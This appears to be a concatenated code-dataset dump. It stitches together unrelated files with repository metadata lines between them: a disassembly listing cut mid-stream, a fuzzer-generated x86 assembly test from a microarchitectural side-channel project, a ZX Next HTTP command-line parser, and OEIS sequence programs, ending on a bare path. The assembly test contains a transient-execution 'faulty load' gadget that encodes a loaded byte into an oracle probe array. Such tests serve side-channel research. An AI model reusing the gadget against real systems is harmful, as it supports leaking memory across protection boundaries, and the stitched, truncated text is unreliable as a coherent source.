0x0278 (0x0004F0) 0x3125- f:00030 d: 293 | A = (OR[293]) 0x0279 (0x0004F2) 0x2913- f:00024 d: 275 | OR[275] = A 0x027A (0x0004F4) 0x0200- f:00001 d: 0 | EXIT 0x027B (0x0004F6) 0x2003- f:00020 d: 3 | A = OR[3] 0x027C (0x0004F8) 0x2524- f:00022 d: 292 | A = A + OR[292] 0x027D (0x0004FA) 0x2913- f:00024 d: 275 | OR[275] = A 0x027E (0x0004FC) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x027F (0x0004FE) 0x2914- f:00024 d: 276 | OR[276] = A 0x0280 (0x000500) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0281 (0x000502) 0x2915- f:00024 d: 277 | OR[277] = A 0x0282 (0x000504) 0x2115- f:00020 d: 277 | A = OR[277] 0x0283 (0x000506) 0x842D- f:00102 d: 45 | P = P + 45 (0x02B0), A = 0 0x0284 (0x000508) 0x2114- f:00020 d: 276 | A = OR[276] 0x0285 (0x00050A) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0286 (0x00050C) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x0287 (0x00050E) 0x290D- f:00024 d: 269 | OR[269] = A 0x0288 (0x000510) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x0289 (0x000512) 0x290D- f:00024 d: 269 | OR[269] = A 0x028A (0x000514) 0x2114- f:00020 d: 276 | A = OR[276] 0x028B (0x000516) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x028C (0x000518) 0x2908- f:00024 d: 264 | OR[264] = A 0x028D (0x00051A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x028E (0x00051C) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x028F (0x00051E) 0x8604- f:00103 d: 4 | P = P + 4 (0x0293), A # 0 0x0290 (0x000520) 0x210D- f:00020 d: 269 | A = OR[269] 0x0291 (0x000522) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0292 (0x000524) 0x290D- f:00024 d: 269 | OR[269] = A 0x0293 (0x000526) 0x210D- f:00020 d: 269 | A = OR[269] 0x0294 (0x000528) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0295 (0x00052A) 0x2915- f:00024 d: 277 | OR[277] = A 0x0296 (0x00052C) 0x2115- f:00020 d: 277 | A = OR[277] 0x0297 (0x00052E) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0298 (0x000530) 0x290D- f:00024 d: 269 | OR[269] = A 0x0299 (0x000532) 0x2114- f:00020 d: 276 | A = OR[276] 0x029A (0x000534) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x029B (0x000536) 0x2525- f:00022 d: 293 | A = A + OR[293] 0x029C (0x000538) 0x290E- f:00024 d: 270 | OR[270] = A 0x029D (0x00053A) 0x2114- f:00020 d: 276 | A = OR[276] 0x029E (0x00053C) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x029F (0x00053E) 0x2908- f:00024 d: 264 | OR[264] = A 0x02A0 (0x000540) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02A1 (0x000542) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x02A2 (0x000544) 0x8607- f:00103 d: 7 | P = P + 7 (0x02A9), A # 0 0x02A3 (0x000546) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x02A4 (0x000548) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x02A5 (0x00054A) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x02A6 (0x00054C) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x02A7 (0x00054E) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x02A8 (0x000550) 0x7006- f:00070 d: 6 | P = P + 6 (0x02AE) 0x02A9 (0x000552) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x02AA (0x000554) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x02AC (0x000558) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x02AD (0x00055A) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x02AE (0x00055C) 0x2D14- f:00026 d: 276 | OR[276] = OR[276] + 1 0x02AF (0x00055E) 0x722D- f:00071 d: 45 | P = P - 45 (0x0282) 0x02B0 (0x000560) 0x0200- f:00001 d: 0 | EXIT 0x02B1 (0x000562) 0x496E- f:00044 d: 366 | A = A > B | **** non-standard encoding with D:0x016E **** 0x02B2 (0x000564) 0x7661- f:00073 d: 97 | R = P - 97 (0x0251) 0x02B3 (0x000566) 0x6C69- f:00066 d: 105 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0069 **** 0x02B4 (0x000568) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 **** 0x02B5 (0x00056A) 0x7061- f:00070 d: 97 | P = P + 97 (0x0316) 0x02B6 (0x00056C) 0x7261- f:00071 d: 97 | P = P - 97 (0x0255) 0x02B7 (0x00056E) 0x6D65- f:00066 d: 357 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0165 **** 0x02B8 (0x000570) 0x7465- f:00072 d: 101 | R = P + 101 (0x031D) 0x02B9 (0x000572) 0x7200- f:00071 d: 0 | P = P - 0 (0x02B9) 0x02BA (0x000574) 0x4469- f:00042 d: 105 | C = 1, IOB = DN | **** non-standard encoding with D:0x0069 **** 0x02BB (0x000576) 0x736B- f:00071 d: 363 | P = P - 363 (0x0150) 0x02BC (0x000578) 0x2069- f:00020 d: 105 | A = OR[105] 0x02BD (0x00057A) 0x2F6F- f:00027 d: 367 | OR[367] = OR[367] - 1 0x02BE (0x00057C) 0x2065- f:00020 d: 101 | A = OR[101] 0x02BF (0x00057E) 0x7272- f:00071 d: 114 | P = P - 114 (0x024D) 0x02C0 (0x000580) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 **** 0x02C1 (0x000582) 0x0000- f:00000 d: 0 | PASS 0x02C2 (0x000584) 0x4E6F- f:00047 d: 111 | A = A << B | **** non-standard encoding with D:0x006F **** 0x02C3 (0x000586) 0x2070- f:00020 d: 112 | A = OR[112] 0x02C4 (0x000588) 0x6172- f:00060 d: 370 | A = OR[B] | **** non-standard encoding with D:0x0172 **** 0x02C5 (0x00058A) 0x7469- f:00072 d: 105 | R = P + 105 (0x032E) 0x02C6 (0x00058C) 0x7469- f:00072 d: 105 | R = P + 105 (0x032F) 0x02C7 (0x00058E) 0x6F6E- f:00067 d: 366 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x016E **** 0x02C8 (0x000590) 0x2061- f:00020 d: 97 | A = OR[97] 0x02C9 (0x000592) 0x6C6C- f:00066 d: 108 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x006C **** 0x02CA (0x000594) 0x6F63- f:00067 d: 355 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0163 **** 0x02CB (0x000596) 0x6174- f:00060 d: 372 | A = OR[B] | **** non-standard encoding with D:0x0174 **** 0x02CC (0x000598) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 **** 0x02CD (0x00059A) 0x0000- f:00000 d: 0 | PASS 0x02CE (0x00059C) 0x4469- f:00042 d: 105 | C = 1, IOB = DN | **** non-standard encoding with D:0x0069 **** 0x02CF (0x00059E) 0x736B- f:00071 d: 363 | P = P - 363 (0x0164) 0x02D0 (0x0005A0) 0x206F- f:00020 d: 111 | A = OR[111] 0x02D1 (0x0005A2) 0x7065- f:00070 d: 101 | P = P + 101 (0x0336) 0x02D2 (0x0005A4) 0x6E20- f:00067 d: 32 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0020 **** 0x02D3 (0x0005A6) 0x6661- f:00063 d: 97 | A = A - OR[B] | **** non-standard encoding with D:0x0061 **** 0x02D4 (0x0005A8) 0x696C- f:00064 d: 364 | OR[B] = A | **** non-standard encoding with D:0x016C **** 0x02D5 (0x0005AA) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 **** 0x02D6 (0x0005AC) 0x0000- f:00000 d: 0 | PASS 0x02D7 (0x0005AE) 0x5461- f:00052 d: 97 | A = A + B | **** non-standard encoding with D:0x0061 **** 0x02D8 (0x0005B0) 0x7065- f:00070 d: 101 | P = P + 101 (0x033D) 0x02D9 (0x0005B2) 0x206F- f:00020 d: 111 | A = OR[111] 0x02DA (0x0005B4) 0x7065- f:00070 d: 101 | P = P + 101 (0x033F) 0x02DB (0x0005B6) 0x6E20- f:00067 d: 32 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0020 **** 0x02DC (0x0005B8) 0x6661- f:00063 d: 97 | A = A - OR[B] | **** non-standard encoding with D:0x0061 **** 0x02DD (0x0005BA) 0x696C- f:00064 d: 364 | OR[B] = A | **** non-standard encoding with D:0x016C **** 0x02DE (0x0005BC) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 **** 0x02DF (0x0005BE) 0x0000- f:00000 d: 0 | PASS 0x02E0 (0x0005C0) 0x5461- f:00052 d: 97 | A = A + B | **** non-standard encoding with D:0x0061 **** 0x02E1 (0x0005C2) 0x7065- f:00070 d: 101 | P = P + 101 (0x0346) 0x02E2 (0x0005C4) 0x2069- f:00020 d: 105 | A = OR[105] 0x02E3 (0x0005C6) 0x2F6F- f:00027 d: 367 | OR[367] = OR[367] - 1 0x02E4 (0x0005C8) 0x2065- f:00020 d: 101 | A = OR[101] 0x02E5 (0x0005CA) 0x7272- f:00071 d: 114 | P = P - 114 (0x0273) 0x02E6 (0x0005CC) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 **** 0x02E7 (0x0005CE) 0x0000- f:00000 d: 0 | PASS 0x02E8 (0x0005D0) 0x5461- f:00052 d: 97 | A = A + B | **** non-standard encoding with D:0x0061 **** 0x02E9 (0x0005D2) 0x7065- f:00070 d: 101 | P = P + 101 (0x034E) 0x02EA (0x0005D4) 0x2062- f:00020 d: 98 | A = OR[98] 0x02EB (0x0005D6) 0x6C6F- f:00066 d: 111 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x006F **** 0x02EC (0x0005D8) 0x636B- f:00061 d: 363 | A = A & OR[B] | **** non-standard encoding with D:0x016B **** 0x02ED (0x0005DA) 0x2073- f:00020 d: 115 | A = OR[115] 0x02EE (0x0005DC) 0x697A- f:00064 d: 378 | OR[B] = A | **** non-standard encoding with D:0x017A **** 0x02EF (0x0005DE) 0x6520- f:00062 d: 288 | A = A + OR[B] | **** non-standard encoding with D:0x0120 **** 0x02F0 (0x0005E0) 0x6572- f:00062 d: 370 | A = A + OR[B] | **** non-standard encoding with D:0x0172 **** 0x02F1 (0x0005E2) 0x726F- f:00071 d: 111 | P = P - 111 (0x0282) 0x02F2 (0x0005E4) 0x7200- f:00071 d: 0 | P = P - 0 (0x02F2) 0x02F3 (0x0005E6) 0x6E6E- f:00067 d: 110 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x006E **** 0x02F4 (0x0005E8) 0x6E6E- f:00067 d: 110 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x006E **** 0x02F5 (0x0005EA) 0x6E6E- f:00067 d: 110 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x006E **** 0x02F6 (0x0005EC) 0x2062- f:00020 d: 98 | A = OR[98] 0x02F7 (0x0005EE) 0x6C6F- f:00066 d: 111 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x006F **** 0x02F8 (0x0005F0) 0x636B- f:00061 d: 363 | A = A & OR[B] | **** non-standard encoding with D:0x016B **** 0x02F9 (0x0005F2) 0x7320- f:00071 d: 288 | P = P - 288 (0x01D9) 0x02FA (0x0005F4) 0x7472- f:00072 d: 114 | R = P + 114 (0x036C) 0x02FB (0x0005F6) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E **** 0x02FC (0x0005F8) 0x7366- f:00071 d: 358 | P = P - 358 (0x0196) 0x02FD (0x0005FA) 0x6572- f:00062 d: 370 | A = A + OR[B] | **** non-standard encoding with D:0x0172 **** 0x02FE (0x0005FC) 0x7265- f:00071 d: 101 | P = P - 101 (0x0299) 0x02FF (0x0005FE) 0x6400- f:00062 d: 0 | A = A + OR[B] 0x0300 (0x000600) 0x4653- f:00043 d: 83 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0053 **** 0x0301 (0x000602) 0x434F- f:00041 d: 335 | C = 1, io 0517 = BZ 0x0302 (0x000604) 0x5059- f:00050 d: 89 | A = B | **** non-standard encoding with D:0x0059 **** 0x0303 (0x000606) 0x0000- f:00000 d: 0 | PASS 0x0304 (0x000608) 0x0000- f:00000 d: 0 | PASS 0x0305 (0x00060A) 0x0000- f:00000 d: 0 | PASS 0x0306 (0x00060C) 0x0000- f:00000 d: 0 | PASS 0x0307 (0x00060E) 0x0000- f:00000 d: 0 | PASS
82.530949
127
0.4687
7cec8ddbbe9173066fdaad1a5f28887ed9928fd1
6,717
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_203.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_203.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_203.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x1196e, %rsi lea addresses_UC_ht+0x1e84a, %rdi nop nop nop nop nop sub %r15, %r15 mov $91, %rcx rep movsl nop nop nop nop xor %rdx, %rdx lea addresses_A_ht+0x66ee, %r12 nop nop sub $37259, %rsi movb $0x61, (%r12) nop nop add $9052, %r12 lea addresses_WC_ht+0x1374e, %rcx nop nop nop nop nop cmp $44050, %r11 movl $0x61626364, (%rcx) nop nop and %rcx, %rcx lea addresses_A_ht+0x1ce6f, %r12 nop nop nop nop nop add $60309, %r11 and $0xffffffffffffffc0, %r12 vmovaps (%r12), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop nop nop nop and %rcx, %rcx lea addresses_normal_ht+0x1d16e, %rsi lea addresses_WT_ht+0xc756, %rdi nop nop sub %r12, %r12 mov $5, %rcx rep movsq inc %r15 lea addresses_WC_ht+0xece, %rdi nop nop nop nop nop xor $31854, %r11 movb $0x61, (%rdi) nop nop nop nop inc %r15 lea addresses_A_ht+0x1a4e, %rsi lea addresses_A_ht+0x28e, %rdi clflush (%rdi) nop nop nop and %r12, %r12 mov $19, %rcx rep movsb nop nop xor %rdx, %rdx lea addresses_A_ht+0xee4e, %r11 nop and %r12, %r12 movw $0x6162, (%r11) nop nop nop inc %rcx lea addresses_D_ht+0x1bdee, %r11 clflush (%r11) nop nop nop add $51204, %r15 mov (%r11), %rsi nop nop nop nop nop add %r12, %r12 lea addresses_WT_ht+0xdfae, %r12 nop and %r15, %r15 mov $0x6162636465666768, %rcx movq %rcx, %xmm2 movups %xmm2, (%r12) cmp $52468, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %rax push %rcx push %rdi push %rdx // Load lea addresses_normal+0xcdae, %r14 nop xor $59231, %rcx mov (%r14), %rdx nop nop nop nop nop dec %r15 // Faulty Load lea addresses_WT+0xb16e, %rax nop add $53067, %r14 movb (%rax), %r15b lea oracles, %rdi and $0xff, %r15 shlq $12, %r15 mov (%rdi,%r15,1), %r15 pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
35.539683
2,999
0.658032
83e9e4c015dcbb133c50932407d2ce92c2088438
4,599
asm
Assembly
src/parse.asm
remy/next-http
61c4d3139178f375e61d703671c1a7533725b8c2
[ "MIT" ]
14
2021-04-09T18:45:38.000Z
2022-02-27T15:58:52.000Z
src/parse.asm
remy/next-http
61c4d3139178f375e61d703671c1a7533725b8c2
[ "MIT" ]
2
2021-05-19T18:44:15.000Z
2022-02-27T16:37:09.000Z
src/parse.asm
remy/next-httpbank
61c4d3139178f375e61d703671c1a7533725b8c2
[ "MIT" ]
3
2021-04-11T23:56:32.000Z
2022-02-27T15:49:17.000Z
;; main entry is Parse.start MODULE Parse currentOption: DW 0 showHelp: ld hl, Msg.help call PrintRst16 and a ; Exit Fc=0 jp Exit.nop doGet: ld a, State.GET ld (State.type), a jr startToken doPost: ld a, State.POST ld (State.type), a jr Parse.startToken parseError: ld hl, Err.badOption xor a ; set A = 0 scf ; Exit Fc=1 jp Exit.nop parseDisableBankRoll: xor a ld (Bank.rollingActive), a jp startToken ; HL = start of arguments ; Modifies: A, HL start: ld a, h : or l ; check if HL is zero jr z, Parse.showHelp ; if no args, show help startToken ld a, (hl) inc hl ;; terminated by $00, $0d or ':' call checkForEnd ret z cp 'g' : jr z, doGet cp 'p' : jr z, doPost cp '-' : jr z, parseOption jr startToken parseOption ld a, (hl) inc hl ;; flag based args cp '7' : jr z, parse7bit cp 'r' : jr z, parseDisableBankRoll cp 'x' : jr z, parseDisableBaudInit call checkForEnd jr z, parseError push af ; backup A value .eatSpaces: ld a, (hl) inc hl cp ' ' : jr z, .eatSpaces call checkForEnd jr z, parseError ld b, a pop af ; restore A - holds option flag cp 'b' : jr z, parseBank cp 'h' : jr z, parseHost cp 'p' : jr z, parsePort cp 'u' : jr z, parseUrl cp 'l' : jr z, parseLength cp 'o' : jr z, parseOffset cp 'f' : jr z, parseFilename cp 'v' : jr z, parseFlashBorder ; because FLASH is on the v key :) jr parseError parse7bit: ;; lol, this is horrible... ;; ;; modify the code on the fly, and nop the jump that skips over ;; the 7-bit support. A little expensive at 111 cycles(!) but really ;; not a huge deal. xor a ; set A = 0 ld (Post.SMC_check7bitSupport1), a ld (Post.SMC_check7bitSupport1+1), a ld (Post.SMC_check7bitSupport2), a ld (Post.SMC_check7bitSupport2+1), a ld (Wifi.getPacket.SMC_check7bitSupport), a ld (Wifi.getPacket.SMC_check7bitSupport+1), a push hl ld hl, Wifi.tcpSendEncodedBufferFrame ld a, l ld (Post.SMC_sendPostMethod), a ld a, h ld (Post.SMC_sendPostMethod+1), a ld a, 1 ld (State.encoded), a pop hl jr startToken parseDisableBaudInit: ld a, $c9 ; $C9 = ret ld (Uart.SMC_skip_baud_init), a jp startToken continueOption: ld (currentOption), de ; required for NextBASIC replacement ld a, b .loop ld (de), a inc de ld a, (hl) inc hl cp '$' jp z, readFromNextBASIC ; then we have a NextBASIC var cp ' ' jr z, .optionDone call checkForEnd jp z, .finished jr .loop .optionDone: xor a ld (de), a ; add null terminator to the option jp startToken .finished xor a ld (de), a ; add null terminator to the option ret parseBank: ld de, State.bank : jr continueOption parseHost: ld de, State.host : jr continueOption parsePort: ld de, State.port : jr continueOption parseUrl: ld de, State.url : jr continueOption parseFilename: ld de, State.filename : jr continueOption parseLength: ld de, State.length : jr continueOption parseOffset: ld de, State.offset : jr continueOption parseFlashBorder: ld de, State.border : jr continueOption readFromNextBASIC push hl ; preserve the command line arg position dec de ; dec DE because we want to overwrite this character ;; via https://gitlab.com/thesmog358/tbblue/-/blob/master/src/asm/dot_commands/$.asm ld bc, (currentOption) ld a, (bc) ; get the string letter and $df ; capitalise cp 'A' jr c, .parseError ; bail if < A cp 'Z'+1 jp nc, .parseError ; or if > Z and $1f ld c, a ; C=bits 0..4 of letter set 6, c ; bit 6=1 for strings ld hl, (VARS) .findVariable ld a, (hl) ; first letter of next variable and $7f jr z, .varNotFound ; on if $80 encountered (end of vars) cp c jr z, .variableFound ; on if matches string name push de push bc ; ld sp, (Exit.SMC_stack) call48k NEXT_ONE_r3 ; DE=next variable ; ld sp, stack pop bc ex de, hl ; HL=next variable pop de jr .findVariable ; back to check it .variableFound: inc hl ld c, (hl) inc hl ld b, (hl) ; BC=string length inc hl ; HL=string address ldir ; copy HL to DE xor a ld (de), a ; null terminate pop hl ; point back to the right place in the command line jp startToken .parseError pop hl jp parseError .varNotFound pop hl ; pop but we don't need it ld hl, Err.varNotFound xor a ; set A = 0 scf ; Exit Fc=1 jp Exit.nop ; A = character to test ; Fz <- if at end checkForEnd: and a : ret z ; A is null cp ':' : ret z cp $0d : ret z ret ENDMODULE
20.53125
86
0.645575
ddea06aefd3d50069ad919adfbd88d015081005c
538
asm
Assembly
programs/oeis/054/A054851.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/054/A054851.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/054/A054851.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A054851: a(n) = 2^(n-7)*binomial(n,7). Number of 7D hypercubes in an n-dimensional hypercube. ; 1,16,144,960,5280,25344,109824,439296,1647360,5857280,19914752,65175552,206389248,635043840,1905131520,5588385792,16066609152,45364543488,126012620800,344876646400,931166945280,2483111854080,6546385797120,17077528166400,44116947763200,112939386273792,286692288233472,722039837032448,1805099592581120,4481626574684160 mov $2,$0 mov $0,7 add $0,$2 bin $0,$2 mov $1,7 lpb $1 sub $1,$1 lpb $2 mul $0,2 sub $2,1 lpe lpe mov $1,$0
31.647059
318
0.767658
73d1f87e4fe4c8e145929a114333536927307dc3
538
asm
Assembly
oeis/244/A244736.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/244/A244736.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/244/A244736.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A244736: Numbers k such that (prime(k) mod 5) is even. ; Submitted by Jon Maiga ; 1,3,4,7,8,10,12,15,17,19,22,24,25,28,29,31,33,34,35,37,39,41,45,46,49,50,52,55,57,59,63,66,68,69,70,72,73,75,77,78,80,81,85,87,88,91,92,93,95,97,101,102,104,106,107,109,111,113,114,118,120,123,127,128,129,131,134,136,138,139,140,144,145,146,148,149,151,154,155,157,158,159,161,163,165,168,169,171,175,176,180,181,184,186,187,189,195,199,201,203 seq $0,45356 ; Primes congruent to {0, 2, 4} mod 5. seq $0,230980 ; Number of primes <= n, starting at n=0.
76.857143
346
0.693309
eeaa1fefff4ef7d9c0fece00838d55ed8f096d8e
1,923
asm
Assembly
programs/oeis/168/A168189.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168189.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168189.asm
